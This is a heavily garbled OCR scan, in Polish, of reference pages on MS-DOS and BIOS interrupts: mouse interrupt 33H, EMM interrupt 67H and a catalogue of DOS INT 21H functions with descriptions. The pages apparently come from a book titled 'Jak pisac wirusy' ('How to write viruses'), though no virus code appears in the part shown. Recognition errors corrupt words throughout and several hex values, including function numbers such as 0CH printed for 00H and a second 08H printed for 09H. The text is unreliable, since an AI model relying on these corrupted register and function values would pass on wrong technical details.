Pytanie o czutoS¢ myszy
Powrot:

BX - predkose pozioma

GX - predkosé pezioma

DX - prog podwaingj predkosc

Ustalenie przerw migdzy kolejnymi wywolaniami przerwania myszy
BX = 105

2-30/s

4 -50/s

8~ 100/s

16 - 200/

Ustalenie numeru strony graficznej myszy
BX —numer strony

Pytanis o numer strony graficznej myszy
Powrat:
BX - numer strony

Zablokowanie programu cbstugi myszy
Powrt:
AX = 1FH — przerwanie zablokowane
QFFFFH {-1) - nie mozna zablokowad
E5:DX - adres poprzednigj procedury obstugi przenvania 33H

Cdblokewanie programu ebsfugi myszy

Przywricenie stanu poczatkowego myszy

Powrdt:

AX =
21H —stan poczatkowy przywracony
OFFFFH {-1) - blad przy przywracaniu stanu
poczatkawego

Pytanie o typ myszy /Typ programu obslugi/IRQ#

Powrol:

BX — numer wersji programu cbstugi

CH = typ myszy

CL -~ poziom przerwania sprzgtowego myszy ( 0 dia PS/2)

181

Procedura obstugujaca to przerwanie nie nalezy do ROM BIOS-u, ale jest czescia progra-
mu obstugi urzadzenia, kidry powinien byd dostarczany razem z mysza. Réwniez tam powi-

nien znajdowad sie doktadniejszy opis przerwania. Wigcej informacji na ten temal znaj-

dziesz réwniez w numerach 6-10/88 miesigeznika Komputer”,

Przerwania

41H,46H

Nazwa:

Jak pisac wirusy

Tablica parametrow dysku twardego 041
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Wywotanie: Brak
Powrot: Brak
Opis: Weklory odpowiadajgce tym przerwaniom wskazuja na tablice parametréw dyskéw twar-
dych #01 #1. Struktura tej tabiicy jest nastepujaca:
Clfs Rozmiar Zawartosé
(oH 2 maksymalna liezba $ciezek
02H 1 maksymaina liczba glowic
03H 2 poczatkowa Sciezka zredukowanego zapisu
05H 2 poczatkowa sciezka prekompensaci zapisu
07H 1 maksymalna dfugosé ECC N
08H 1 bit 7=1: wytaczone powlarzanie operadji
bit §=1: wytaczona korekgia ECC ]
09H 1 wanos¢ standardowego ograniczenia czasowego
0AH 1 wartosé ograniczenia czasowego dla odczylu
0BH 1 warlosc cgraniczenia czasowego dla formatowania
QCH 4 Zarezerwowane
Przerwanie:  44H
Nazwa: Znaki graficzne karty EGA
Wywotanie: Brak
Powrot: Brak
Opis: Wektor tego przerwania wskazuje na wewnetrzng stukture danych karty EGA. Definiowa-
nig znakow w trybie graficznym moze odbywad sig przy pomocy funkcji 11H przerwania
10H.
Przerwanie:  4AH
Nazwa: Adres alarmu uzytkownika
Wywotanie: Brak
Powrdt: Brak
Opis: Wektor tego przerwania wskazufe na miejsce, w ktérym przechowywane sg informacje
o alarmie pudzika zegara czasu rzeczywistego {(RTC). Ustawianie i kasowanie budzika od-
bywa sie przy pomocy przerwania 1AH
Przerwanie:  50H
Nazwa: Przerwanie RTC
Wywotanie: Brak
Powrdt: Brak
Opis: Jest to przenwanie sprzgtowe o poziomie B (IRQ 8), wywolywans przez zegar czasu rzeczy-
wistego {RTC).
Przerwanie:  67H
Nazwa: Obshiga gérmej pamiec

Jak pisac wirusy

Strona:183




183

Wywotanie: AH — numer funkc
? Parametry funkcii
Powrdt: W zaleznodei od unkgi
Opis: Przerwanie stuzy do obstugi gérne] pamigci. Kazda z funkeji zwraca w rejestrze AH kod sta-
] tusu EMM {Expanede Memory Menager — program obslgi gérnej pamigci} ostatnio wykony-
3 wangj operacji. Znaczenie kodu jest opisane w tabeli:
Status - 7naczenie
OCH OK.
80H Wewngtrzny bad programu obstugi EMM
A1H Biad sprzetowy pamigci EMM _
a2H Pamigé EMM zajgta n
83H Btedne dojscie EMM
84H Niezdefiniowana funkcja
85H Zhyt duzo otwartych dojsé EMM
86+ Blad odtworzenia lub zapamietania mapy
87H Przydziglany obscar wigkszy niZ cala pamied EMM
88H _Przydzielany obszar wigkszy niz cafa pamigé EMM
89H Nie mona otworzyC dojscia EMM do O stron
8aH Dojécie EMM nie dysponuje tyloma stronami
8bH Blgdna mapa ;tylko strony 0-3 dostepne
8cH Brak migjsca na zapamigtanie mapy
8dH Mozesz zapamigtad zawartoéc mapy tylke jednego dojscia EMM )
8eH Nie mozesz odiworzyé zawartosc wiczesnie] nie zapamigtane]
BfH Niezdefiniowans ﬁarametrg.r funkeji

. Przerwanie skiada sig z

nastepujacych funkgji:

Jak pisac wirusy

Funkcja 40H
Pytanie o status EMM
Wywctanie; AH = 404
Powrdt: AH — status EMM
Funkeja 41H
Pobierz fizyczny adres segmentu EMS (Expanded Memeory Specification)
Wywolanie: AH = 41H
Powrdt: AH - status EMM

BX — adres segmentu

Strona:184
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Funkcia 42H

Pytanie o catkowita/dostgpng pamied EMS
Wywolanie: AH=42H
Powrdt: AH - status EMM

DX - catkowita iiczba stron (16KB) EMS

BX - liczba akiualnie dostepnych stron EMS
Funkcja 43H

Otwdrz dojscie EMM i przydziel pamigé
Wywolanie: AH = 43H

8X - liczha zgdanych stron
Powidt: AH  slatus EMM

DX ~ humer dojscia EMM
Funkcja 44H

Mapa pamigci; odwzorowanie numeru strony logicznej na adres fizyczny
Wywotanie: AH=44H

AL —fizyezny numer strony {0-3)

BX - legiczny numer strony dojscia

DX - numer dojscia EMM
Powrdt; AH - status EMM
Funkcja 45H

Zamknigeie dojécia EMM i zwolnignie pamieci
Wywotania: AH=45H

DX — numer dojscia EMM
Powrdt: AH - status EMM
Funkcja 46H

Pytanie o numer wersji EMM
Wywolanie: AH = 46H
Pawrdt: AH - status EMM

AL - numer wersji EMM w kodzie BCD {np 50H - 5.0)
Funkcja 47H

Zapamigtanie zawariosci mapy pamigci
Wywolanie: AH=47H

DX - numer dojscia EMM
Powrdt: AH - status EMM
Funkcja 48H

Odtworzenie zawartosci mapy pamieci

Jak pisac wirusy
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Wywolanie: AH = 48H
DX - numer dojscia EMM
v Powrdt: AH - status EMM
Funkcja 4BH
Pytanie o liczbe stron posiadanych przez dojscie
Wywolanie: AH = 4BH
DX - numer dojscia EMM
Powrat: AH - status EMM

BX - liczba logicznych 16KB stron posiadanych przez dojécie

Funkcja 4CH

Pytanie o liczbe otwartych dojsé EMM
Wiwolanie: AH=4CH
Powrdt: AH — status EMM

BX - liczba otwartych dojscé EMM

Funkcja 40H

Pobranie informacii ¢ stronach dla wszystkich dojsc

Wywolanie: AH =4DH
ES:DI - adres bufora {rozmiar butora zalezy od liczby otwartych dojéé EMM - p. funkcja
4CH)

Powrdt: AH - status EMM

BX - liczba otwartych dojsé £MM
ES:DI - w buforze o wielkosci 4*BX znajdujg sie dla kazdego dojscia EMM jego numer i li-
czba posiadanych stron logicznych

Funkcja 4EH

Pobranie/Ustawienie mapy calej pamigcl. Funkcja przeznaczona do obslugi pracy wielo -
zadaniowe|. Zawartos¢ mapy jest zalezna od wielu czynnikdw sprzgtowych

Wywolanie: AH = 4EH

AL = kod pod-funkgji

0 - pobranie mapy do bufora wskazywanego przez ES:D!

1 - ustawienie mapy z bufora wskazywanego przez ES:DI

2 = pobranie | ustawianie mapy {potaczenie pod-funkcji &1 1}

3 - pytanie o rozmiar bufora uzywanego przez pod-funkgje 0-2

AH - status EMM

AL - rozmiar bufora {dia pod-funkeii 3}

ES:DI - Adres bufora zawierajaceqgo mape (dla pod-funkeji 0 i 2)

Ponizej znajduje sig spis funkcji DOSowskiego przerwania 21h. Funkeje te s3 dostepne po wywolaniu przerwania 21h
nmerem funkcji w rejestrze AH, ewentualnie z numerem podfunkeji w rejestrze AL, z odpowiednimi parametrami. Ponie-
i spis jest sporzadzony wedtug numerdw funkcii wezesniej przedstawig podziat funkeji na grupy, wedhug zadan, kidre

Helniaja:
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Standardowe znakowe wejscie/wyjscie:

01h Czylanie znaku z echem
02h Wypisywanie znaku
03h Czylanie znaku 2 urzadzenia dodatkowego e
04h Wypisywanie znaku do urzadzenia dodatkowego o
05h Drukowanis znaku o
06h Bezpogrednia korzystanie 7 konsali
07h Bezpasrednie czytanie z konsoli
08h Czytanie znaku
(9h Wypisywanie teksiu
QAR Czytanie wiersza z kKlawiatury o
0Bh Sprawdzanie stanu kdawiatury P
0Ch Opréznianie bufera | czytanie z klawiatury
Gospodarka pamigeig aperacyjna:
48h Przydziat pamigci
48h Zwalnianie pamigct
4Ah Zmiana wielkosci przydzielone] pamigci
E8h Ustaw/Pohierz strategie przydziatu pamigel
Zarzadzanie procesami:
3th Usypianie pracesu
4B00h tadowanie i uruchamianie programy
4B03h Ladowanie nakdadki
4Ch Koficzenie procesu
4Dh Pobieranie kodu powrelu procesu potomnego
62h Pobieranie adresu PSP
Operacje na plikach uzywajace dojsc:
3Ch Tworzenie dojécia
3Dh Otwieranie dojscia N
3Eh Zamykanie dojécia
3Fh Czytanle przez dojdcie
40h Pisanie przez dojscie
42h Ustawianie wskaZnika w pliku
45h Kopiowanie dojsécia _
46h Zmiana dojscia ~
SAh Tworzenie pliku roboczego
5Bh Tworzenie nowego pliku

Jak pisac wirusy Strona:187
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67H Ustawienie maksymalne| liczby otwartych dojé¢ i ]
68H Stabilizowanie pliku
BCH Rozszerzons otwieranie dojscia
Nadzorowanle pracy urzadzeni: o
4400h Pytanie o opis urzadzenia
4401h Ustalanie opisu urzadzenia |
4402h Wysyianie polecenia do urzadzenia znakowego
4403h Odbieranie informacji od urzgdzena znakowego
4404h Wysylanie polecenia do urzgdzenia blokowego
4405h Cdbieranie informaci od urzgdzenia biokowego
4406h __Pytanie o sfan urzqdéenia we|sciowego |
4407h Pytanie o stan urzgdzenia wyjsciowego
4408h Pytanie, czy urzgdzenie ma wymienny nosnik
440Bh Ustalanie liczby nawrotow _
440Ch Ustalanie matrycy znakow urzgdzen
440Dh Qgdlna kontrola urzadzen blokowych
440Eh Pobierz mape urzadzenia
440Fh Ustaw mapg urzadzenia
Dzia%_:;ﬁla na katalogach:
39h Tworzenie katalogu
3Ah Usuwanis katalogu
3Bh Ustalanie katalogu biezacego
41h Usuwarie pozyciji z katalogu N
43h Sprawdzanie [ub zmiana atrybu_lﬁw pliku
47h Pytanie o katalog biezacy
4Eh Znzjdowanie pierwszego pliku w katatogu
4Fh Znajdowanie nastepnego pliku w katalogu
56h Zmiana pozycji w katalogu
57h Sprawdzanie iub zmiana daty i czasu modyfikagii pliku
_ Funkcje sieciowe:
440%h Pytanic, czy urzadzenie blokows jest dostepne przez sieé
af, 440Ah Pytanie, czy plik iub urzadzenie sg dostgpne przez sied
{ 5EQCh Pytanie o nazwe stanowiska roboczego
i 5Ezh Ustalanis znakéw sterujacych drukarka
iﬁ 5f02h Pytanie o pozyci¢ listy przypisan

Jak pisac wirusy Strona:188
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5F03h Dodanie pozycji do listy przypisan
5F04h Usuwania pozygji z listy przypisar
T Funkcje standardu CP/M i starszych wersji systemu:
k 00h Koriczenig programu
oth Otwieranie plixu
10h Zamykanie pliku
11h Znajdowanie pierwszej pozycji w kataiogu
12h Znajdowanie nastepne] pozycii w katalogu
3 13h Usuwanie pliku
14h Sekwencyjne czytanie z pliku
F 15h Sekwencyjne pisanie w pliku
2 16h Tworzenle pliku
: 17h Zmiana nazwy pliku )
! 21h Swobodne czytanie 2 pitku
4 22h Swohodne pisanie w pliku
] 23h Pytanie o rozmiar piku
b 24h Wybieranie rekordu
26h Tworzenie nowego PSP
3 27h Swobodne czytanie ciagu rekorddw
, 28h Swobodne pisanie ciggu rekordow
i Inne funkcje systemowe:
; {Odh Stabilizowanie stanu dyskow
Oeh Ustalanie dysku biezacego
18h Pytanie odysk biezacy
1Ah Ustalenie buforu roboczego
1Bh Pyltania o charakterystykg dysku roboezego
1Ch Pylanie ¢ charakierystyke urzgdzenia blokowego
25h Ustalanie adresu kodu obstugi przerwania -
2%h Rozkiad nazwy pliku
2Ah Pyianie o date
28h Ustalanie daty
2Ch Pytanie o czas
2Dh Ustalanie czasu
2Eh Ustalanie sygnalizatora weryfikacii
2Fh Pytanie o bufor roboczy
30h Pytanie 0 numer wersji systemu
33h Pytanie wrazliwosc na znak Control-C {ub jej ustalanie
35h Pytanig ¢ adres kodu obstugi przerwania
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36h Pytanie o rozmiar wolnego obszaru na dysku
38h Pytanie o kod kraju lub ustatanie fego kodu
54h Pytanie o stan sygnalizacji weryfikacji

3 5C00h Rezerwowanie czgsci pliku

5C01th Zwalnianie czgsci pliku

3 59h Pytanie o petny kod bledu
B5H Pobierz rozszerzone informacie o kraju
66H Ustal/Pobierz giobalng malrycg znakow

Funkcje nie udokumentowane:

1th Pytanie o adres bloku informacii o urzadzeniu dia biezacego dysku
32h Pytanie 0 adres bloku informacii ¢ urzadzeniu

34h Pytania o adres sygnalizatora pracy systemu

37h Ustaw/Pobierz znak przekazywania parametrow

50h Ustaw segment PSP

51h Pabierz segment PSP

52h Pobierz adres listy adreséw MS-DOS

55h Utwérz PSP

Porize;na kolgjnych stranach przedstawions sgfunkcje systemu DOS. Przy opisie funkcji podane sa parametry wejSciowe,
Wisciow oraz efekty dzialania funkeji. Funkcie, ktdre nie znajdujg sig w *Microsaft MS-DOS Programmers Reference” bede
nazywal funkcjami nieudokumeniowanymi. Dziatajg one wprawdzie w obecnych wersjach systemu, ale nie ma zadnej
pewnosa, iz bedg dziataly w nastepnych. Przy funkejach zachowanych dia kompatybilnosci z poprzednimi wersjami podany
gstnowszy odpowiednik tej funicii. Jedii w opisie funkefi wystapuje pojecie dotychczas Ci nie znane, to jest ono wyjashiane
panize;.

Funkcja 0CH

Nazwa: Zakoriczenie programu

Weijdcie: AH=00H
CS = Adres przedrostka procesu (PSP}

Peowrdt: Brak

Opis: Funkeja koriczy wykonywany proces. Zwalnia pamiec przydzielong procesowi,zamyka
wszystkie ctwarte pliki | oddaje sterowanie procesowi macierzystemu.

Uwagi: Jesli Twdj program zmisnial dugosé plikéw to przed wywotaniem tej funkcji musisz sam je
zamkned przy pomecy funkeji 100, Jedli tego nie zrobisz piiki te beda miaty podang niewla-
$ciwa diugosé w katalogu.

Odpowiadnik: Funkcja 4C - korczenie procesu jest nowsza funkc)q stu2acq do tego samego celu.

F‘Fnkcja 01H

Nelrwa: Czytanie znaku z echem

Wejscie: AH = 0tH

Powrét:

Jak pisac wirusy

AL = Przeczytany znak
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Opis:

Uwagi:

Funkcja czeka na znak w standardowym slrumieniu wejsciowym i kopiuje ten znak do

standardowego strumienia wyjsciowego. Jesli tym znakiem jest Control-C to wywoluje prze-

rwanie 23H.

Jak pawnie pamigtasz w systemie operacyjnym zdefiniowane sa standardowe urzadzenia,
migdzy innymi konsola uzytkownika {con} , urzadzenie dofaczone do ztacza szeregowego
{comm luby aux} | drukarka (pm}. Poniewa? w systemie operacyjnym nie ma roznicy migdzy
plikami, a Urzadzeniami, zardwno urzadzenia jak i uzywane piiki maja w programie przypi-
sane numery zwane dojsciami. Przy uruchamianiu nowego programu system operacyjny
tworzy tablicg dojs¢. Jej rozmiar i adres znajduje sig w przedrostku procesu (PSP} pod ad-

resem 32H. Tablica ta ma zazwyczaj 20 pozyci, z czego dojscia o numerach 0-4 sg uzywa-

ne dia zdefiniowania standardowych strumieni {dla plikow zostajg wige dojscia o numerach
5-19). Znaczenie standardowych strumieni jest wyjasnione ponizej:

Doigcia

Standardowy strumien Poczatkowo przypisane urzadzenie

0 Slrumier wejsciowy Konsola (CON)

Strumien wyjsciowy N Konsola (CON)

Strumieri diagnestyczny Konsola {CON])

1

2

3 Strumieri dodatkowy Zlacze szeregowe(AUX)
4 Steumied drikarki Drukarka {PRN)

Znaczenie strumieni mozna zmisniaé przy pomocy funkeji 46H. Tak wige standardowy strumied wejsciowy moze byé
powiazany z plikiem, a standardowy strumien wyjsclowy z drukarks. Jednak zazwyczaj standardowy strumier wejsciowy

| wyjSciowy oznaczaja konsolg (konkretie klawiaturg i ekran).

DT TR s R D R gt L e

Funkcja 02H

Nazwa: Wypisywanie znaku

Wywolanfe: AH=02H
DL = Kod znaku do wypisania

Powrdt: Brak

Opis: Przasyla znak, ktdrego kod znajduje sig w rejestize DL do standardowego strumienia wyj-
sciowego. Jesli podezas tej funkeji nacisnigly jest Control-C to wywotuje ona przerwanie
23H.

Funkcja 03H

Nazwa: Czytanie znaku z urzadzenia dodatkowego.

Wywaotanie: AH = 03H

Powrét: AL = Kod znaku otrzymanego z urzgdzenia dodatkowego.

Opis. Funkeja czeka na znak ze strumienia dodatkowego | zwraca go w rejestrze AL, Nie zwraca
kodu btedu ani statusu. Nacisnigcie Control — C podezas tej funkgji wywoluje przerwanie
23H.

Funkeja 04H

Nazwa: Wypisywanie znaku do urzgdzenia dodatkowego

Wywotanie: AH=04H
DL = Kod znaku dla urzgdzenta dodatkowego

Powrgt: Brak

Jak pisac wirusy

Strona:191




191

g

Opis: Funkcia wysyta znak zawary w DI do standardowego strumienia dodatkowego. Nie zwra-
ca kodu blgdu ani statusu. Nacisnigcie Control - C powoduje wywotarie przerwania 23H

Funkcja 05H

Nazwa: Drukowanie znaku

Wywotanie: AH =05H
DL = Wod znaku do wydrukowania

Powrot: ‘Brak

Opis: Przesyia znak z rejestru DL do standardowego strumienia drukarkl, Funkcja ta nie zwraca
kodu btedu ani stanu. Naciénigcie Control - € podczas funkcji poweduje wywotanie prze-
nwania 23H.

Funkcja 06H

Nazwa: Bezposradnie korzystanie z konsoli

Wywolanie: AH=08H
DL - Patrz Opis

Powrat: Al
Jesli przed wywolaniem funkcji w rejestrze DL byta wartos¢ OFFH, to nie ustawiony znacz-
nik Z oznacza, 7e w AL znajduje sie znak ze standardowego strumienia wejsciowego. Usta-
wiony znacznik zere oznacza, ze w standardowym strumieniu wejsciowym nie byto Zzadne-
go znaku. W takim przypadku w Al wstawiana jest wartosc 0.

Opis: Dziztanie funkeji zalezy od wartoscl, kidrg przekazemy jgj w rejestrze DL, Jesli w rejestrze
DL byta wartosé 0FFH to funkeja zwraca wartosci w sposdb opisany powyze). Jedli w reje-
strze DL byla inna wielkosc niz OFFH wiedy znak zawarty w DL jest przesylany do stand-
ardoweqo strumienia wyjsciowego,

Uwagi: Funkgja nte reaguje na nacisnigcie Contrad — C

Funkecia 07H

Nazwa. Bezposrednie czylanie z konsoli

Whawotanie: AH =07H

Powrot: AL = Znak z klawiatury

Opis: Funkeia czeka na znak do odezytu ze standardoweqoe strumienia wejdciowege, nastgpnie
zwraca jego kod w rejestrze AL

Uwagi: Funkgja nie kigruje odezytanego znaku do strumienia wyjsciowego {nie wyswietla go na
ekranie} ani nie reaglje na znak Control — C (niezaleznie od stanu przetacznika BREAK)
trakiujac go jako normainy znak. Jest wiee na przykiad przydatna w sytuacji gdy nalezy
wprowadzic do programu jakies hasto,

Funkeja 08H

Nazwa: Czytanie znaku

Wywolanie: AH=08H

Powrét: AL =Znak z klawiatury

Opis: Funkcja czeka na znak ze standardowegg strumienia wejsciowego, nastepnie zwraca jego
wartosé w AL, Nacisniecie Control - C powoduje wywotanie przerwania 23H.

Uwagt: Furkgja nie przekazuje znaku do standardowego urzadzenia wyjsciowago. (Nie wyswietla
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go na ekranie).
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: Funkcja 08H
: Nazwa: Wypisywane tekstu
: Wywotanie: AH =09
I DS:DX — Adres poczatky faricucha do wyswietienia,
’ Powrdt: Brak
Opis, Funikcja wysyta do standardowego strumienta wyjéciowago larcuch znakdw zakoriczony

znakiem'$’ (ktdry sam nig jest wyswietlany). Poczatek tego faficucha wskazuje para reje-
stréw DS:DX. Wypisywanie mozna przerwad przez nacisnigcie Control ~ G . Wznowienie
wypisywania po przenvaniu 23H (obstugiwanym przez program) nastgpuje od nowego wier-

sza.
3 Funkcja 0AH
Nazwa: Czytanie wiersza z klawiatury
Wywolanie: H=0AH |
: DS:DX - Adres bufora strumienia wejéciowego
Powrdt: . Brak
ilﬂ* Opis: Funkeja pobiera faricuch znakéw ze standardowego strumienia wejsciowego. Kopiuje ie do
f bufora zdefiniowanego przez DS:DX. Bufor musi miec naste¢pujacg forme:
; 1 bit Maksymalna liczba znakdw w buforze facznie ze znakiem CR, kidry
. mus! znale?¢ sie na koficu _
£ 5 bit Liczba przeczytanyah znakéw w buforze bez CR (T Wartosé ustawia
g,, funkcja po zakoriczeniu czytania znakéw)
3;' 3 bit Wprowadzone znaki

Znaki sg odezytywane ze standardowego strumienia wejSciowego, az do momentu napotkania znaku GR {0DH). Jesli
w buforze pozostanie wolny tylko jeden bajt to wszystkie pozostale odczytane znaki sq ignorowane, a do standardowego
strumienia wyjsciowego przesylany jest znak BEL (07H). Jesli standardowym strumieniem wejsciowym i wyjsciowym jest
konsola to wprowadzany tekst moze by¢ edytowany przy pomocy klawiszy Delete i Backspace, a w przypadku przepetniena
bufora nastepuje sygnat dzwigkowy. Funkcja jest wrazliwa na Control - C. Naciénigcie fych klawiszy powoluje wywotanie

: przenwania 23H.

Funkcja 0BH

: Nazwa: Sprawdzanie stanu klawiatury
Wywotanie: AH = 0BH
Powrét: Al =

OFFH w buforze klawiatury znajdujq sig jakies znaki
00H w buforze klawiatury nie ma znakow

Opis: Funkcja sprawdza, c2y w standardowym strumieniu wejSciowym s jakies znaki { Jedli nie
zostalo zmienione przyporzackownie strumienia wejsciowego, to sprawdza, czy w buforze
ilawiatury znajdujg sig jakies znaki}. Jesli nie ma dostgpnych znakéw to funkcja zwraca
w rejestrze AL wartosé 0, jesli sq to warto$¢ OFFH. Jesli w buforze znajduje sig znak Con-
trol — C to funkeja wywollje przerwanie 23H.

Funkcja OCH

Nazwa: Qprdznianie bufora czylanie z kiawiatury
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Wywolanie: AH = 0CH
AL=1,6,7, 8, 0AH - wartosé ta odpowiada funkgji, kidra ma byé wywolana po wyczysz-
czeniu bufora

Powrdt: AL =
0 Bufor klawitury oprézniony, 2adne inne dziafanie nie podjgte

Opis: Funkcja ta czysci bufor standardowego strumienia wejsciowego ( ma o sens tylko wiedy
qdy strumien ten jest zwiazany z klawiatura ). Po opréznieniu bufora dalsze czynnosci fun-
koif zalezg od wartoscl przekazane] w AL. Jesdi jest to 1, 6, 7, 8, 0AH lo zostaje wywolana
funkcja o tym numerze. Jedli nie to koriczy dziatanie zwracajgc w rejestrze AL wartosé 0.

Uwagi: Stosuj te funkejg w przypadku, gdy program ma pytaé uzytkownika o zgode na jakas nieod-
wracalng operacjg typu formatowanie dysku twardego. Wtedy butor klawiatury musi byc wy-
czyszezony, aby nie ,zaplatat sig” jakis poprzednio nacisnigty znak.

Funkcja ODH

Nazwa: Stabilizowanie stanu dysku

Wywotanie; AH=0DH

Powrat: Brak

Opis: Funkeja czysci wszystkie bufory plikdw w pamigei, co powodule, ze zawartosé tych plikéw
jest poprawna, ( Uwzgledniajaca wazystkie zmiany don wprowadzone w trakeie pracy pro-
gramu ). Czyszczenie buforéw nie oznacza zamknigela plikdw. W tym celu musisz wywo-
taé standardowg funkcie zamykania plikdw {10H lub 3EH).

Uwagi: Wywoluj te funkcie zawsze w sytuacj krytycznej, grozacej zatamaniem sig systemu, Przy-
kfadowo wywotanie tej funkcii powinno sig znaleZ¢ w dobrze napisanej procedurze obstugi
przerwania 23H.

Funkcja 0EH

Nazwa: Ustalanie dysku biezacego.

Wywolanie: AH =0EH
DL = Numer dysku logicznego (0= A, 1 =B, itd)

Powrot: AL - Liczba dyskdw logicznych w systemie.

Opls: Ustala dysk o numerze podanym w DL jako dysk biezacy. Zwraca w AL ficzbg wszystkich
dyskéw logicznych w systemie (moga to byé dyski stale, dyskietki, RAM - dyski, partycie
duzych dyskdw, dyski sieciowe itd.).

Uwagi: Firma Microsoft, przy opisie tej funkefi nie gwarantuje, iz w nastepnych wersjach systemu
rejestr AL bedzle zwracat liczbg dyskdw logicznych. Powiniene$ frakiowad wige tg warlodd
2z ostroinoscia.

Funkcja OFH

Nazwa; Otwieranie pliku

Wywolanie: AH=0FH
DS:DX - adres bioku FCB nie zwiazanego z zadnym otwartym plikiem

Powrst: AlL=

00H — Znalezione plik o takiej nazwie
OFFH - Nie ma takiego pliku
Opis: Funkgja ta otwiera plik DS:DX musi zawieraé adres bloku FCB {patrz nizej} tego pliku. Plik
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nie moze bye juz otwarty. Jesli plik o danej nazwie nie istnigje w biezgcym katalogu albo
ma ustawione atrybuty hidden lub system to funkcja zwraca w rejestrze warlodé OFFH

i koriczy dziatanie. W przechwnym wypadku do rejestns AL wpisywans jest 8, a odpowied-
nie pola FCB sa uzupemiane w nastepujacy sposob:
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~ Jesli Numer Stacji Dyskow [00H] miat wartosé O (dysk biezgcy) to wartosc ta jest zmieniana na numer dysku biezacego
{1=A, 2=B itd).

-~ Numer Bloku Biezacego[0CH] jest ustawiany na 0

- Rozmiar Rekordu[OEH] jest ustawiany na 128 (standardowy rozmiar sektora w systemie CP/M)
Rozmior Pliku[10H], Data[14H} | Czas[16H] ostatnicgo zapisu sq ustawiane zgodnic z danymi 2 kalalogu.
J Mie 53 ustawiane natomiast pola [20H] 1 [21H] FCB. Jesh Twdj program po otwarciu pliku chee korzystac z operacji
' sekwencyjnych lo musi sam uslawic. Przesunigeie Rekordu{20h). Jesli chee korzystaé z operaciji swobodnych to musi ustawic
Numer Aktualnego Rekordu {21h].

Uwagi: W pierwszych wersjach systemu kazdy plik otwierany przez proces byt definiowany przez
34-bajtowy Blok Opisu Pliku (FCB — File Conlrol Block). Blok ten moze mie¢ dwie wersje
normaing i rozszerzona. Wersja rozszerzona uzywa pisrwszych 7 bitdw bicku w przeciwien-
stwie do normalnego FCB. Blok ten ma nastgpujaca postac:

Offset Rozmiar Znaczenie
07H 1 Wskaznik poczatku rozszerzonego FCB zawsze OFFH.
-06H 5 Zarezerwowane.
-01H 1 Atybuty pliku.
Start zwyktego FCB
Numer dysTcu 1=A, 2=B itd. Jesfi uzywasz FCB do otwierania pliku io moZesz w to
00H 1 miejsce wstawi¢ 0 jako numer biezacego dyskL, a system sam wstawi odpowiednia
Nazwe.
04H 8 Nazwa plku {moze by¢ rdwniez nazwa urzadzenia}. Nazwa odnosi sig zawsze do

biezgcgo katalogu,
08H 3 Fozszerzenie nazwy.

aCH 5 Numer bloku — wspélnie Z polem przesuniecie rekordu wskazuja na adres akiuainego
rekordu. Blok jest grupa 126 rekordow. Przy otwieraniu pole to jest ustawiane na 0.

Rozmiar rekordu. Rozmiar rekordu logicznege w pliku. Standardowo ustawiany na 80H,
ale moe mied rownie? inne warlosci.

10H 4 Rozrmiar pliku w bajtach,

Data ostatniej modyfikacii. Bajty maja nastepujacy format: !
[15H] ~ IRIRIRIRIBIRIRIMI IMEIMIMIDIDIDIDIDI - [14H] :
14H 2 R — rok liczac od 1880 ’
M — miesigc
D - Dzier
(zas ostainie] modyfikacji.ﬁajt?/ maja nastepujacy format:
[17H] - 1GIGIGIGIGIMIMIMI IMIMIMISISISISIS] - [16H]
16H 2 G - godzina
M —minuta
35— sekunda

OEH 2

18H 8 Zarezerwowane.

Przesunigcle rekordu — Wskazuje na pozycjg biezgcego rekordu w bloku.
(Wykorzystywany przy operacjach w trybie sekwencyjnym).

Numer rekordu liczony od poczatku pliku. (Wykorzystywany przy operacjach w trybie
swobodny).

20H 1

21H 4

Qdpowiednik: Funk¢ja 34H - ofwieranie dojécia jest nowszg funkcjg pozwalajgea na dostep do pliku,
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Funkcja 10H

Nazwa. Zamykanie pliku

Wywolanie: AH =10H
DS:DX - adres FCB danego pliku.

Powrdt: AL =

0 - Plik zamkniaty
OFFH ~ Nie ma takiego pliku w biezacym katalogu

Opis: Zamyka plik opisany w bloku FCB wskazywanym przez DS:DX. Jesli plik taki istnigje w bie-
zgcym katslogu to rejestr AL zwraca wartosé 0, funkcja przesyla zawartosd buforu pliku fi-
zycznie na dysk oraz akiualizuje informacie o pliku w katalogu. W przeciwnym wypadku
w rejesirze AL zwracana jest wartosé OFFH.

Uwaygi: Powinienes zawsze pamigtac o zamykaniu plikow, bowiem dopiero po zamknigeiu masz
pewnosé, iz plik zawiera wiasciwe dane. Czestym powodem wystapienia bedu podezas za-
mykania pliku jest to, iz podczas pracy programu zostat zmieniony biezgey katalog. W ta-
iim wypadku funkcja nie moze znaleZé pliku i sygnalizuie biad.

Odpowiednik: Funkcja 3EH - zamykanie dojécia

Funkcija 11H

Nazwa: Znajdowanie pienwsze] pozycjl w katalogu

Wywotanie: AH=11H
DS:DX - adres bloku FCB

Powrdt: AL =

0 -~ Znaleziony w katalogu plik odpowiadajgcy wzorcowi
QFFH — w biezgeym katalogu nie ma pliku odpowladajacego wzorcowi

Opis: Funkcja przeszukuje biezacy katalog w poszukiwaniu pozycji odpowiadajgcych weoreow.
Wzorzec jest przekazywany w hloku FCB wskazywanym przez DS:DX. Wa wzotcu moga
znajdowad sie symbole specjalne " i 7. Jesii w biezacym katalogu nie ma pozycji odpowia-
dajacych wzorcowi, to w rejestrze AL zwracana jest wartosc OFFH . W przeciwnym wypad-
ku funkcja zwraca w rejestrze AL wartos€ 0, w buforze roboczym systemu (DTA) tworzy no-
wy FCB znalezionego pliku, a w pierwoinym FCB zapisuje informacje pozwalajgee na
wznowienie szukania pliku od tej pozycji przez funkejg 12H.

Uwagi: Jedli cheesz uzywad te] funkcii do szukania plikéw systemowych lub ukrytych fo musisz ja-
ko paramelr przekazac biok FCB w rozszerzonej postaci, z odpowiednio ustawionym po-
tem atrybutdw, DS:0X musi wskazywad na adres pierwszego bajlu tego bloku.

Qdpowiednik; Funkcja 4EH - znajdowanie pierwszego pliku w katalogu.

Funkcja 12H

Nazwa: Znajdowanie nastgpnej pozyej w katalogu.

Wywotanie: AH=12H
DS:DX - adres bloku FCB

Powrdt: AL =

0 - Znaleziony w katalogu plik odpowiadajacy wzorcowi
OFFH — w biezacym katalogu nie ma wigeej plikéw
cdpowiadajacych wzorcowi
Opis: Po uzyeiu funkeii 11H, funkeja szuka nastepnej pozycji odpowiadajgee] wzorcowi. Jesli

w biezacym katalogu nie ma wiecej plikéw odpowidajacych wzorcowi to w rejestrze AL
zwracana jest wartosddé OFFH. Jesli natomiast funkcja znajdzie taki plik fo w rejestrze AL
